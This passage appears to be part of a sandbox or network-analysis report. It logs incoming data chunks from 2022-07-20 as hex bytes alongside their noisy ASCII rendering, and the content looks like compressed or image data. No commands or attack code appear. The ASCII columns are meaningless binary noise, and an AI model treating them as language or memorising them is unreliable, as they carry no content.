13 10 70 80 b1 bb 75 d9 3e be e4 8d 7c 7f c3 d7 3d a9 26 c9 c1 27 50 7c 89 d1 f1 25 57 4f 0d 6d 92 a3 78 3f 1d 9e 94 76 6f df e8 6b 47 26 64 71 5c ca 50 Data Ascii: nRhz&S8[]c}$*QtwHi_Ie~8Mj%&X$9RDimHg;&Dd2zN(fu\\|"VTJMj"={(@Z2oo[eogkw:}ouq6~4ozy[J%]e$pu>\|=&'P\|%WOmx?vokG&dq\P
2022-07-20 07:08:24 UTC	4464	IN	Data Raw: dc fb 7b f6 77 35 52 4c 15 df 31 62 8c 86 4c 88 e3 32 4b 11 15 03 6e e5 6f bb cd 46 e6 26 93 1a 19 17 cc d0 f3 63 bc 30 8e d7 32 6c 3b 84 0b 95 77 77 bd 7e e6 b2 79 12 1c 15 fd 5b 2f 2b 2a 49 32 31 85 31 2e 2a a0 b0 8a d2 f6 4d 3b bc 3b b7 b6 44 9c 7c d4 be cd 61 67 25 a2 eb e5 93 8d 5f 85 58 18 64 dc a6 8f 6d ca c0 2c c8 eb 1a dd dc e5 fe 1c d6 71 a5 9a 2a b5 2a 4d d6 33 4d 91 0a 44 c4 c3 20 1e 2d 76 b8 0c 38 52 4e 0b ee f7 9a eb 44 14 1d 1e 58 1c 41 16 3c 8a a2 f2 00 04 ef 80 6c 7f b4 fe d1 ff 00 16 5d 60 9e a6 92 69 a1 c7 96 0c 96 20 56 36 51 b7 eb 5b b7 7e d6 b6 55 82 1b 94 29 8c 79 6c a8 6b 40 4f fb 40 ff 00 8f 4e 45 b1 50 15 fa 24 d3 65 49 22 c8 b3 36 c4 50 6a 9e 8a a6 f7 af 26 a7 62 b7 19 32 44 72 84 88 a4 2b 90 cf 68 a6 f6 c5 ba 56 5f b0 97 e8 e4 Data Ascii: {w5RL1bL2KnoF&c02l;ww~y[/+I211.M;;D\|ag%_Xdm,q**M3MD -v8RNDXA<l]`i V6Q[~U)ylk@O@NEP$eI"6Pj&b2Dr+hV_
2022-07-20 07:08:24 UTC	4480	IN	Data Raw: 89 24 af cb ff 00 2f e2 43 1f e2 5f a1 b8 d5 92 79 d8 98 a7 2a 46 45 90 c6 39 62 32 49 b8 47 f8 aa af cc e1 7e e7 2f bf cb d6 62 2d 7a 1f cc 07 1e ff 00 8a 06 4a d4 d6 bb c3 62 c6 b1 6f fb be 0f e1 7a 7a 4f 41 c8 4e 1f 52 7c c6 9f 31 a2 5f f2 ea 8b 62 b1 0a e1 b9 97 a4 8d 7e f6 56 ff 00 33 1e 7b fd c7 27 bf ac 6e dc a8 f5 04 9a 08 3a 85 d0 2c b8 8b 6b 39 0e ac c0 5a d1 b6 f3 63 4b 13 7b 37 ee 24 c9 ad 96 c5 16 f0 bf 51 ea 50 c7 1b c6 ea c1 55 ec 3b be 8f 7b d7 bb ec 6a c0 b5 e8 33 24 a4 ae 40 64 c8 4e 24 63 70 5a dc a8 db 9e 1f 89 1a df c5 aa a8 32 cb ac c5 2e 46 1b 45 89 22 47 23 0d 97 0d d6 1f 87 b9 be 97 f9 fa a7 2f 62 57 e9 31 f3 74 4e ad 8d 1d ed 1c 52 79 4a 44 fe 22 80 37 b9 6a e8 b1 cb fd e5 fa cd 55 8d 82 e3 f4 96 13 18 5d 39 12 3e f1 04 6d 52 c3 Data Ascii: $/C_y*FE9b2IG~/b-zJbozzOANR\|1_b~V3{'n:,k9ZcK{7$QPU;{j3$@dN$cpZ2.FE"G#/bW1tNRyJD"7jU]9>mR
2022-07-20 07:08:24 UTC	4496	IN	Data Raw: 47 9a 42 bc 9a 2f 84 8e ac ae d9 11 b7 ff 00 4b 45 df ff 00 31 fc 3d c4 d6 4e de 03 4c b8 9f e6 22 98 63 23 21 40 5b 4b 06 0c 16 e0 37 17 75 df 99 1f 39 bc 5e 57 1a 43 f9 9a d9 df 49 21 99 08 be 68 78 66 89 7e 1c c9 0c d2 17 88 29 f1 1a 87 92 96 73 4a 45 2c 2d 37 0f 06 b8 31 e3 49 ea be b9 46 ca 5c dc 50 8a d1 35 64 7a 33 17 d8 fd 9e 9e ea d9 df d7 7d 28 93 94 4b 29 df 3e 2c 4c e8 5e 3a 02 03 9a f9 24 24 ad f0 b4 97 2d d2 2d d7 f8 9f 63 d9 eb 41 0c eb dd 48 47 90 92 ca fc b9 4a 1b 43 02 51 ec de 68 ad 56 f6 8b ac da 90 92 8a 7e b4 90 a3 cf 04 12 09 5d 4a b3 aa 31 8d e4 3e c5 19 bd 39 3c cf 0e 3f e6 69 a5 02 2f 3a 44 7c bc 53 f1 f2 24 ac 19 5a e5 16 aa 31 f7 37 af 7e 39 3b d7 eb 49 24 a6 eb f9 38 59 52 ae 40 63 6c 2c 15 ab 52 8c bb 77 7e cc b6 7a fa 87 0c Data Ascii: GB/KE1=NL"c#!@[K7u9^WCI!hxf~)sJE,-71IF\P5dz3}(K)>,L^:$$--cAHGJCQhV~]J1>9<?i/:D\|S$Z17~9;I$8YR@cl,Rw~z
2022-07-20 07:08:24 UTC	4504	IN	Data Raw: 59 26 98 d3 34 b8 d9 98 91 a2 24 04 50 15 0a ca d7 6d 14 85 7c 45 bf 8b bf f9 9a 45 06 c9 9b 23 6e 25 4a 36 c1 f5 57 f7 34 00 e5 cf 6b 8d dc 20 d1 89 06 b5 fb 5f f9 34 e0 44 1d 43 ab e3 42 a1 a4 60 a6 52 a9 40 05 c4 16 e4 da df 95 74 bc 7e eb ed e8 01 d2 64 a2 10 a0 5c a3 b1 8f 93 f2 65 fb 5a 00 a8 ea 18 52 f2 d2 2e 97 1a 1d e3 52 cd 62 c6 94 b7 cd 7d e4 f7 7e 1e 81 15 58 4b 3b 33 73 98 89 0b 52 a9 40 6b 4b 3b bb 8d bd a8 d8 64 bd 73 a9 1e 85 12 cf 2a 19 63 b8 46 cd 50 2a e4 33 f7 6e dd 92 cd f9 3d df 88 9a a9 11 e7 13 e6 64 fc 47 c6 4a ad fe 62 e7 52 db 6e 52 d6 ee 3f bc 58 bd 96 a6 24 0b d3 d4 61 8f 1b e2 14 d6 8b 50 3e 93 c3 67 df d6 5c 75 34 90 5c 2c 9c 2e 51 c9 91 c4 53 38 21 cd 48 26 bb cf 17 fc 1a b7 33 04 97 ff 00 2f e6 f4 e8 31 21 11 32 25 f7 2a Data Ascii: Y&4$Pm\|EE#n%J6W4k _4DCB`R@t~d\eZR.Rb}~XK;3sR@kK;dscFP3n=dGJbRnR?X$aP>g\u4\,.QS8!H&3/1!2%*
2022-07-20 07:08:24 UTC	4520	IN	Data Raw: 74 80 0f 1d e5 48 da 4c c9 63 7a 1b 49 8c 15 15 bb 96 bc 57 f1 f0 7f 17 52 30 b6 10 44 8b 2c 80 51 4d 14 91 b5 4b 78 5b 8d f8 8f 77 2f 44 04 92 cf 39 48 5d 63 20 12 0a a9 6d 80 31 1b 9b cd a1 82 2a 71 32 88 c9 6c 75 90 cb d8 52 b4 00 81 65 dc 1b 97 f3 35 32 59 61 d4 09 ce 8b 91 8e c1 61 98 85 32 cb ba 6c 25 59 fe 17 19 55 e4 9e 6b 6f 8e 3e 6b c5 17 af a4 d0 ca 99 fe 4c c5 30 b0 c7 c8 6f 88 07 da 35 2c 3b 6d 75 e4 c4 b7 2d f1 7a 7f a9 a5 00 05 99 f3 86 4e 06 40 c7 c9 8a 39 16 36 a3 bc 6d bd 22 d7 8e 38 ee 92 1c 79 bf 12 2e 64 96 3f 99 a3 90 b8 96 5d 17 e6 08 3a ab b8 81 ec 70 c0 88 e4 3b f6 da b7 b4 5d cb 2f e6 7f cc ef e8 63 82 db a9 61 36 3c 0e c9 6c ce cb 44 81 85 2f 62 6c b6 39 63 f7 72 ac 9e d2 4f 67 cb f3 2f b2 58 d2 26 cf 58 7a 57 4c 6c d7 2e 39 0a Data Ascii: tHLczIWR0D,QMKx[w/D9H]c m1*q2luRe52Yaa2l%YUko>kL0o5,;mu-zN@96m"8y.d?]:p;]/ca6<lD/bl9crOg/X&XzWLl.9
2022-07-20 07:08:24 UTC	4536	IN	Data Raw: 47 46 91 61 4c c2 ee ab b5 76 d4 16 e1 48 fd a7 73 7f 99 e1 ea 55 b5 80 35 7f 26 cd 34 9d 31 10 3b 07 86 56 46 ad 2b b0 df 1a 79 d1 f1 fa fa d8 4c a4 ca c4 18 d9 59 79 2e 10 b5 58 c6 a4 06 01 96 cf f1 24 f1 37 3e fe b1 6e 09 90 bc 5c 1c 8c fe a1 8b 9b 22 c6 61 40 8e c5 1a a4 f6 db c7 62 b4 7c cf 75 ed 34 e8 f5 81 26 4f f3 3f c9 18 9d 49 84 fd 3b 97 04 d4 6b c0 04 2c 8d dd ba dd c8 59 77 fb 9a d1 a6 33 cf 7a c7 45 97 a4 4c 23 95 83 06 5a 82 36 6d f7 8b 6f a1 fa fa 99 02 ae 49 0a 9d 9b 0f d7 aa 48 66 d3 e4 6e a4 f1 64 c5 cd 72 ad 1b 55 2a d4 40 5b 71 65 9a ff 00 0e c8 f8 b4 97 e8 2e af 43 43 f3 57 5b f8 a7 58 e4 79 22 91 a3 66 36 05 0a cc 78 1a 5b bc 44 e6 c8 9e 35 9f 62 3d 73 da bc 9c b0 46 63 a3 e0 64 e7 64 ae 4c 74 48 81 a3 84 d9 d8 16 e5 68 57 f1 bb fe Data Ascii: GFaLvHsU5&41;VF+yLYy.X$7>n\"a@b\|u4&O?I;k,Yw3zEL#Z6moIHfndrU*@[qe.CCW[Xy"f6x[D5b=sFcddLtHhW
2022-07-20 07:08:24 UTC	4544	IN	Data Raw: 39 6c a0 85 1b dc cd 89 b4 77 9a e5 fd 47 d5 de ca 24 c4 26 29 1e 25 53 8e e5 c8 d8 45 4a b5 5b 8b 97 67 89 dc df 97 59 3d 77 03 7d f2 da 65 e5 65 34 c0 b4 51 25 c4 c9 68 6b 5a d8 fc 1e 1b 78 3c 4f df e6 49 a5 89 b6 f9 1a 16 ed f2 9b cd 0c 79 c1 95 65 0e b7 82 38 e3 0c d2 cb cc 4f c7 ca e6 7f 9a 4f 1a ff 00 65 ad d6 3f 11 16 5d 63 1f 27 1e dc 96 64 31 ad d5 8c 5d 7b 83 6b fb 5d fd ec 6b 3c 3e 5c 3b fe cb bf ae 86 a0 68 b2 c0 eb 18 b2 c4 92 63 35 e1 80 37 0d b7 29 ef df aa 4c 4d 1e 35 f3 bf cc c3 2f 3b 25 70 29 f0 cd b8 18 6d b9 69 e2 5b f9 52 3d ed 66 b2 78 95 ac af f2 83 32 58 f1 9c b6 11 47 c6 c6 96 f6 57 ed b6 b6 6f 8e ac 93 5f 18 8f 16 1f 82 ce 90 c8 8c b5 58 d7 6d 3c e8 ae 6d eb 2e fb 1a f2 da e6 f9 d1 71 fa e3 0b c1 ea be 30 95 93 c3 2a c2 a5 77 77 Data Ascii: 9lwG$&)%SEJ[gY=w}ee4Q%hkZx<OIye8OOe?]c'd1]{k]k<>\;hc57)LM5/;%p)mi[R=fx2XGWo_Xm<m.q0*ww
2022-07-20 07:08:24 UTC	4560	IN	Data Raw: d9 5f b0 be b6 b3 ca a5 01 ec 7d 1f 10 c7 d3 e0 5e 60 94 f2 c0 32 29 65 aa 11 b9 34 4e cb 7d ea 9d cd 6d 53 37 b8 57 5b 7c 58 60 64 c9 4a e2 b4 41 9d ab dd 43 66 f7 bc 91 d1 bc 5d 44 fc 4a 0b c3 f9 7d 11 79 78 73 72 e1 2a 40 50 01 09 5d eb f1 db 76 cf f1 13 44 95 03 3e 6a e9 2a d8 3c e4 c8 68 60 8d 36 8e d4 95 d7 d8 34 8d c5 1e f7 85 b9 ed 5e 5e 0d 22 8c 5f 44 9a 0c 71 28 90 b0 8d 86 e1 7e d1 2d 61 93 75 97 86 f4 47 47 fc 5d 66 d3 63 75 68 e6 5c 8b 32 bc aa c4 6e 10 c0 76 00 38 b7 78 f7 fb fa e9 f0 30 80 3f 96 fa b9 c4 8c c1 19 50 a8 28 2e 15 1d bf ab a5 cb e2 4b 52 59 75 fc 6b 08 69 21 52 5d ae 79 2d 06 d6 dd 64 4e 77 b6 47 fe 66 86 e4 5b 19 ec f8 95 55 0c 8e c1 59 6f 52 8d b4 2d 5a 3d ff 00 c2 f6 7c 1e 65 9a cd 8e 4a 8e b1 3f 2e 63 6c b5 46 00 15 2d 50 Data Ascii: _}^`2)e4N}mS7W[\|X`dJACf]DJ}yxsr@P]vD>j<h`64^^"_Dq(~-auGG]fcuh\2nv8x0?P(.KRYuki!R]y-dNwGf[UYoR-Z=\|eJ?.clF-P
2022-07-20 07:08:24 UTC	4576	IN	Data Raw: d6 a9 41 36 72 02 ae 9d 56 79 31 32 10 27 2d 55 90 54 de c1 cb ef dd bb cb f6 49 f6 ef d0 c9 26 9d f9 4c 02 a0 45 44 d8 41 03 74 7b a5 f3 55 2c fc 4d 52 aa 25 d9 84 e1 f4 f8 e5 c1 8e 82 d1 22 f3 00 4d 9c 7e 2e ef d8 6f ec 69 c8 9a 2a 87 4f 39 f9 a8 f8 72 db 0b 23 19 cd 0b 6f 03 1c 51 f2 d1 ed e5 e5 6e 78 d7 fe 1f b3 bf 49 e8 35 05 f6 77 2b 0e 07 9f 97 70 8c 16 34 17 36 e8 e2 4f b3 a0 70 77 a5 65 ae 5c 4c eb d9 5a 6c 23 b2 9a 1a 1a 33 5f 35 1c d9 30 d5 a5 c6 d9 03 ab bc a1 96 ce 26 8b 92 89 77 33 7d 5e 1e 66 89 3b 7b 7a a6 e0 cb 75 ac 98 25 cb 92 4c 43 48 64 0a 40 ec b7 62 df 1d be 83 69 a3 e8 3b 6a 71 ac 5c d1 fc a1 37 c2 62 bf 22 32 e9 ba c5 9b 76 35 99 ad 81 23 bf f3 7c 1b ec f6 7f cc d6 6f 53 e7 bb 8f 3d a7 e6 1c dd 37 3f 27 a7 49 8f 0c 16 d9 25 42 ec Data Ascii: A6rVy12'-UTI&LEDAt{U,MR%"M~.oi*O9r#oQnxI5w+p46Opwe\LZl#3_50&w3}^f;{zu%LCHd@bi;jq\7b"2v5#\|oS=7?'I%B
2022-07-20 07:08:24 UTC	4583	IN	Data Raw: 22 9a ad 36 2d 4d b1 58 cb ef 37 2f d4 79 9c 23 92 93 92 d0 c9 60 2f 23 c7 85 86 b6 ad 2e db c2 05 78 fd 2f 4f 5a 47 1d 4e cb 46 33 42 5e 18 41 08 e4 04 35 3d 94 f4 95 ec d6 7a f8 a3 8a 2d 6d 5a f3 95 50 34 9d 54 49 25 ea d1 a3 6c 67 e1 15 f3 57 56 e2 a7 6b b5 31 71 55 5e 6f f2 82 7a 8f 45 8c aa 64 34 8c ac 8a 00 b7 b0 b0 fd 8f 53 51 5b 49 cb 8f 3b b3 e2 be 60 1c 7e ab e3 f2 2a 2b da 2d a7 d1 ab 69 1d b6 a5 60 cd fc cf 8f 16 64 c7 23 0c 16 73 53 20 5a 96 5f cd 7f ec 6a 38 c1 f3 3d de 07 cb a7 ac ab 83 a3 84 98 c7 9a 4c 32 01 b1 48 f2 f7 1b 7b 89 35 26 38 7b 4e 5e 67 ed 96 38 fd 2b aa 62 35 d2 3c 98 d1 80 40 35 3d 87 dd 44 bd cb b5 49 49 d7 83 b5 bd 9c 72 e1 40 ce 95 d3 c3 96 8e 63 cc a0 34 20 50 1f 36 ed 54 9e fe 2c 6f 1d 62 ff 00 89 fe 0f f1 81 75 fe 93 Data Ascii: "6-MX7/y#`/#.x/OZGNF3B^A5=z-mZP4TI%lgWVk1qU^ozEd4SQ[I;`~*+-i`d#sS Z_j8=L2H{5&8{N^g8+b5<@5=DIIr@c4 P6T,obu
2022-07-20 07:08:24 UTC	4599	IN	Data Raw: 6d e7 04 ea 18 f9 4b 1d 14 b9 99 d6 84 77 47 e2 78 8b c7 ea 6a a6 57 a4 6a d3 b7 02 92 3e 81 16 3c 23 26 7d e6 90 9b 47 d1 4f f8 b5 34 c7 0e 05 8b b7 af 27 3d 60 f9 2c 43 95 fa 35 6d 9a e5 b6 a1 d8 cc f9 11 2c 55 dd 6a 50 12 3f 6d b5 5b 6a 6c 9f 4f 2f aa 1d d2 b1 d0 64 49 8e c4 2a c6 08 50 c6 9e 5b 57 73 be da cd bd 0c 2d 6e 29 41 4d 3f 85 95 40 0f 2d 1c 54 d3 c8 0f 9b a9 62 bb 6f 65 d2 15 f3 0f 56 c4 88 07 c6 90 c8 d2 0a 81 d8 14 7a 7e 9f a1 a1 65 69 1c d6 ef b8 57 6e b3 38 7a ee 4c 92 2b 5d 5b 76 01 e4 1a cd d9 ee 79 eb be b3 b4 a1 dd 47 ab cd 93 17 2e 45 4d b4 de 02 87 66 92 b4 e8 3e e3 b9 b5 ab c5 fa cb 7c 5e ab 88 98 2a 84 d1 e3 5a 05 1d ac dd ed dd 6d 5b c2 3d 0c 1d dd 71 d1 7e e1 27 48 c9 f0 9f 9a 18 b9 35 07 b4 7a 29 6e 8c 6d b3 af b7 b5 9a 9b 03 Data Ascii: mKwGxjWj><#&}GO4'=`,C5m,UjP?m[jlO/dIP[Ws-n)AM?@-TboeVz~eiWn8zL+][vyG.EMf>\|^Zm[=q~'H5z)nm
2022-07-20 07:08:24 UTC	4615	IN	Data Raw: 42 27 02 ab 22 76 13 e9 c6 fe cf 57 5b bf 03 d4 b7 e6 76 c4 f8 5b d0 54 75 1e b5 26 6c 4a d2 bd 48 f2 7d 7a 4d b6 e0 f3 fb 8e f7 dd af ca 57 41 76 61 10 96 34 15 20 57 60 d2 6f 8e a7 9b 49 bf 4c 91 ae 53 63 b5 a3 b3 e8 fa 74 e2 4c f9 41 6b 84 bf ea 2e a1 10 f6 ed 5a f1 7d ef 33 49 e8 75 62 5c d8 46 3e 3c f8 d3 c9 14 31 96 71 da be 55 ee ad ff 00 7f 50 d4 a3 5a ab 56 cd 55 14 c3 c1 9c 19 14 d5 1b 6a f6 1d 9d df 5b 5a 1c 6b a5 eb e9 37 d2 75 a8 7a 8a 87 08 01 2a 36 1d 94 a7 0f eb ea 55 a0 fa 5c 3d cd 5a d0 cb fc d3 d4 a2 c8 ca 0b 1d 19 23 50 a2 d2 48 3d f6 e2 e0 d3 52 cf 17 bc ca af 60 0e 99 09 c9 95 21 a1 55 73 42 76 d0 13 c3 76 86 61 86 ae cf 8f ce 5a cf d2 e3 c3 c5 63 38 f1 4c 8c 81 ab db 6f e1 fa 1a 0e dc 9d ba c7 4e af e2 72 2b ba aa 2b f2 ca 28 40 a9 Data Ascii: B'"vW[v[Tu&lJH}zMWAva4 W`oILSctLAk.Z}3Iub\F><1qUPZVUj[Zk7uz*6U\=Z#PH=R`!UsBvvaZc8LoNr++(@
2022-07-20 07:08:24 UTC	4623	IN	Data Raw: f4 77 ec 93 4f dc 2e b8 dd 41 59 b1 21 90 49 24 c3 16 6b 68 51 e3 2c 9e bf c5 62 b4 bb bf c8 d7 2d ea ac a0 d1 d7 90 53 e1 e4 5a 72 66 92 f0 10 35 c8 44 97 31 e1 b9 bd a4 71 f0 71 a6 b9 2d 85 26 2e 26 7a 6c a9 1a 75 9a 2d a5 0d 91 d7 6d 64 ef 3f d8 bb 54 d6 9a fd 28 25 5d 0d 1e 0c 29 83 09 b7 6b 50 b3 b9 e2 66 3b d2 ef 79 97 f0 eb c8 cb 6f 71 fe e1 2d c9 0e 24 73 f5 16 00 14 df a9 21 88 55 a7 76 f6 7d 7b 38 aa aa 92 37 aa 18 b9 99 7d 36 32 98 8e dc a3 b5 a2 35 b3 d6 5e ff 00 ee 6b b5 a4 f7 2e 48 71 70 c6 6b 2e 73 16 52 ac 4d 18 50 55 45 ec 8b 27 a6 bd cd 73 da bc 74 30 68 0b 9f 0a 49 72 64 58 69 42 0c 77 8e f7 71 ef 8b bd de d7 3b db cb cb ef 0d 05 e3 e7 63 b3 73 73 2c 56 2b 55 71 51 5b ae 5b 16 3f 67 c1 ec f9 7c 1a c2 1e d5 0b 23 83 2f 1a 3d dc 58 43 46 Data Ascii: wO.AY!I$khQ,b-SZrf5D1qq-&.&zlu-md?T(%])kPf;yoq-$s!Uv}{87}625^k.Hqpk.sRMPUE'st0hIrdXiBwq;css,V+UqQ[[?g\|#/=XCF
2022-07-20 07:08:24 UTC	4639	IN	Data Raw: 87 2c fa 1a c5 74 8a 93 48 eb 16 3b e4 06 b5 d0 6c 03 cb 5e 2d 75 76 ee 0c 3b dd 31 bb 47 92 bc cc e3 66 bc 67 99 11 df ba ea 7f 5d da ed dc f8 af ea 5a d6 be 60 e4 eb a1 d5 d7 31 0d 48 d8 bb 46 dd 3d ce 8f eb 79 26 ae 83 ba 77 58 38 78 c5 11 05 5d 81 2c 4f 61 f5 74 93 3a bb 7e e3 db 5b 02 75 fc e9 1d a2 49 08 3d ac 69 db b7 bb a2 64 5d ff 00 70 df 1a fd f0 7c de 97 b9 cf 8f bb fe fd 4a b7 81 c5 9b b7 d3 9a 01 83 02 7c b0 5e 3a 5c 3c 87 b4 ea 9b 83 97 1e 1b 64 f2 96 3d 09 b2 63 3b a0 b4 75 17 a9 d3 5b 9e 97 e5 ef 25 5f 4f f0 ff 00 98 6b 73 fe 03 aa e3 36 10 36 32 ed 1e 6d c3 be b6 f7 74 f5 3d 2c f8 1e 5d cc a6 16 3c 68 c1 d1 aa 51 b6 03 b3 ee ea 1b 3c ec 78 95 5c a7 e4 25 9e 17 85 c3 bb 04 bc 54 50 dd 41 5e fd bc 1a 24 dd bb 55 f2 9e 06 8f 32 08 f3 31 a4 Data Ascii: ,tH;l^-uv;1Gfg]Z`1HF=y&wX8x],Oat:~[uI=id]p\|J\|^:\<d=c;u[%_Oks662mt=,]<hQ<x\%TPA^$U21
2022-07-20 07:08:24 UTC	4655	IN	Data Raw: 8b 98 c6 df a4 7d 5a ce c9 33 8f 25 15 fa 59 69 88 81 63 b9 45 14 35 a4 0e de cb ae d7 33 a6 a4 76 df 97 53 7b f5 94 99 5d 5a 7c 07 7c 75 6d f5 72 6e 27 69 1e 6b 6a f8 9e 46 66 fb 7b da 94 f4 95 52 34 e5 ef 67 6b 8e d0 6b f4 e9 e8 ce 1b 59 d9 cb 0e 49 ba 94 89 63 c8 d6 d0 0a 56 9a c7 db a2 d7 89 75 c1 67 aa a8 d8 a2 c9 60 5c a3 1a 79 4f 97 53 67 55 a1 df 87 b8 f6 97 1b 0c 9f 25 e2 4a 90 56 bb 01 3a 2b 44 d9 d1 7f cc 14 45 49 9b 38 bc 02 36 34 2e ab d9 e5 a1 ef 6b 64 8f 32 f9 dd f7 20 c6 93 29 a7 0e 1e a2 b4 a1 6e e8 ee e9 5a b5 88 83 99 56 41 b3 a6 0b 92 6e 15 a5 2b fa 75 74 5a 06 c5 84 6f 01 5d f6 52 08 ad 2a 2b ff 00 9b 51 a9 d1 8d a5 b8 12 42 24 06 8d 63 ae d0 7b 35 ac c1 a6 ff 00 50 31 9b 1a 44 45 8c d6 52 05 47 6d 4e 91 db 5b d5 c2 9e b0 94 e9 dc d4 Data Ascii: }Z3%YicE53vS{]Z\|\|umrn'ikjFf{R4gkkYIcVug`\yOSgU%JV:+DEI864.kd2 )nZVAn+utZo]R*+QB$c{5P1DERGmN[
2022-07-20 07:08:24 UTC	4663	IN	Data Raw: cb 90 81 ba 09 d9 f4 0d 39 83 36 e4 8d a2 b0 d0 51 be bd 02 1a 61 04 fd 67 44 8c 3f 18 8c 44 aa 8a 9a 6d 3a 97 a9 ad 5c 11 e0 e2 3f 52 c9 09 70 af 6e df 2d 35 7f a0 ac 75 e7 68 2e b3 3a 36 23 8f 00 98 dc 6c 24 ef 03 fb fa d3 db 67 bc ff 00 2b 4d 68 fd b2 9b 37 a7 3e 18 0c 48 28 76 5d f5 f9 ba 86 a0 f2 fb ae d1 e0 89 7c f9 16 78 7d 62 1c 91 14 0e 64 e6 9d d2 c6 94 1e 6e 8a e8 75 76 5d e7 1f c3 7f ae 5c 41 0c cf 5e 48 a9 1f 46 b5 6d 2d cf a5 79 92 5a 95 19 df 2e 64 be 45 61 5b d5 f7 98 92 16 d2 78 d7 c4 b7 5c f6 b2 3e 47 ba a2 77 6e be b1 a7 e4 bc a7 35 0d 1a af d2 5e bf f2 d5 f5 0a e7 2b c4 1b 8f f2 30 14 e6 4c 5b e9 b1 36 7d e9 1b f7 34 b9 b1 7b 41 e3 e5 45 51 b1 98 81 e5 34 db f7 35 32 2f 64 b0 8b e5 e8 22 ec 88 31 23 69 20 bf ed f8 7a 5c 8b 58 d2 0c 5c Data Ascii: 96QagD?Dm:\?Rpn-5uh.:6#l$g+Mh7>H(v]\|x}bdnuv]\A^HFm-yZ.dEa[x\>Gwn5^+0L[6}4{AEQ452/d"1#i z\X\
2022-07-20 07:08:24 UTC	4679	IN	Data Raw: 23 5e 9c 48 41 a0 c0 cd 01 45 19 94 d4 6d ed 06 bd dd 72 5a a7 3d ea 5d c6 d4 34 1b 7c 84 1f 2f 9d af 3a ee 4c 10 d5 47 c2 ca 4c cc 36 e5 4a 9b 41 a6 e8 d9 cb fb 3b ba d3 1e 56 91 a2 b4 07 ac 8f 32 84 3d bd dd 72 35 a9 25 e0 ea 43 a6 4d 8d bd 76 38 56 0e 9d e4 2f 6a 65 25 eb c7 bf 1f 36 2d 77 53 2f 08 8e aa 7c 9f 21 b2 b4 00 f5 cc b3 62 4c 49 e6 c9 23 33 83 f4 ad 8c 9f f3 7f 53 4b 25 b9 29 25 b2 a3 2b 32 e1 72 6e dc 01 75 5d 8a 58 77 ac e1 d6 49 b7 b9 20 f8 59 45 6a e0 da dd 83 eb f4 6e d3 b2 8d 85 01 3d 2b 21 16 7e 6c cf 45 42 08 06 b4 2d a6 b4 25 83 cb 95 28 c9 90 20 aa d2 8b 5f f8 75 3c 54 48 02 4b 9c d1 06 0e 28 4e cd 68 b1 ce c3 dc 1c 4e 64 ab 33 13 5f 29 ad 4b 6b 57 50 81 b1 c9 b6 ce d2 76 01 a6 ea 38 1f 2e 44 98 b9 0b 1c cb 58 cd 55 d1 bb ac a6 c9 Data Ascii: #^HAEmrZ=]4\|/:LGL6JA;V2=r5%CMv8V/je%6-wS/\|!bLI#3SK%)%+2rnu]XwI YEjn=+!~lEB-%( _u<THK(NhNd3_)KkWPv8.DXU
2022-07-20 07:08:24 UTC	4695	IN	Data Raw: bc 52 49 a9 df a9 35 a9 e2 66 d4 dd 48 83 e2 51 35 61 2b 7a 0a b7 d3 5a 71 37 d9 b3 59 24 fc 0a 92 46 86 1c 97 12 ca 37 f6 0a f6 fa be be a7 9b 44 b6 48 f1 a4 6d 42 06 c0 3c 9a cb 52 07 a6 39 b0 7e 92 2a 34 a7 c4 08 79 0e f1 d1 8d 18 28 a5 7f 5f 5a 72 40 41 26 34 c0 06 00 82 a2 84 53 eb d5 2b 2d 80 7e 24 72 4a 04 4a 29 28 16 d2 87 68 ae ee ef ea 68 6b 51 a0 98 e1 75 5e 56 dd d7 20 fd 5b db 97 7d fe 3d 4d ab d4 51 60 98 a4 90 1b 61 5d 84 7d 1a cd 55 b7 00 3d 3a 5c 31 f3 0f 68 60 4e d3 d9 e6 dd ae df 6d 3f d5 fd 41 9f ff d6 a5 50 5f 67 60 3a f9 87 a1 ce 4b c9 7a 50 f9 75 3c 91 27 19 0a ec d0 9c 80 cb 6b da 69 a7 23 1c f1 ec aa 9e ce dd 09 80 db 6a 29 db a7 20 34 43 b6 a7 47 20 25 e4 a8 3b 46 a7 90 87 18 d5 7b 7f 4e 94 8c 61 37 0a 9d 50 c6 bd 01 b5 4e cd 34 Data Ascii: RI5fHQ5a+zZq7Y$F7DHmB<R9~*4y(_Zr@A&4S+-~$rJJ)(hhkQu^V [}=MQ`a]}U=:\1h`Nm?AP_g`:KzPu<'ki#j) 4CG %;F{Na7PN4
2022-07-20 07:08:24 UTC	4701	IN	Data Raw: b2 44 d6 6c 55 b4 9a d6 9c 3b de d1 6c d0 ea ed a3 18 3c b1 89 37 85 2b db ab 4e 04 56 cd 19 b9 41 ec f2 fe 8e 2d 74 d5 8c e4 d4 52 44 63 65 68 34 eb fa 46 4b 1c 17 02 c4 52 9b 29 f5 ea 1d 80 90 1e c1 d9 4f fc 35 22 23 a8 91 80 3b 06 ab 61 10 b1 61 b3 b7 56 80 50 26 f6 d1 db a2 cc 4c 90 44 6b b7 53 20 38 a5 41 5f fc 74 a4 44 cb 12 d3 eb 1a 86 c4 39 58 13 42 36 69 40 8e 8d 82 9d ba 00 9a a0 03 ac c0 45 d5 40 07 b7 44 48 0d 56 be ab f4 ea 9a 80 22 98 d8 d6 f6 81 aa ae a3 12 b5 d4 1f 4e 88 80 15 56 96 83 d9 a2 00 85 99 7b 46 ad 01 ce 79 0b b7 cb a7 c4 63 1e 63 4d 35 51 8c 59 ca 10 d5 d3 75 90 24 32 8b b6 ec d2 80 81 ea 48 a1 ad 6b a9 60 3d cd 36 0d 4a 02 08 48 5a a7 d2 7b 75 a5 b5 d4 04 5f 6d 3e 8d 10 02 07 69 27 b7 40 84 8a d2 1e 5a 0a b9 ec 03 b4 e9 8c 51 Data Ascii: DlU;l<7+NVA-tRDceh4FKR)O5"#;aaVP&LDkS 8A_tD9XB6i@E@DHV"NV{FyccM5QYu$2Hk`=6JHZ{u_m>i'@ZQ
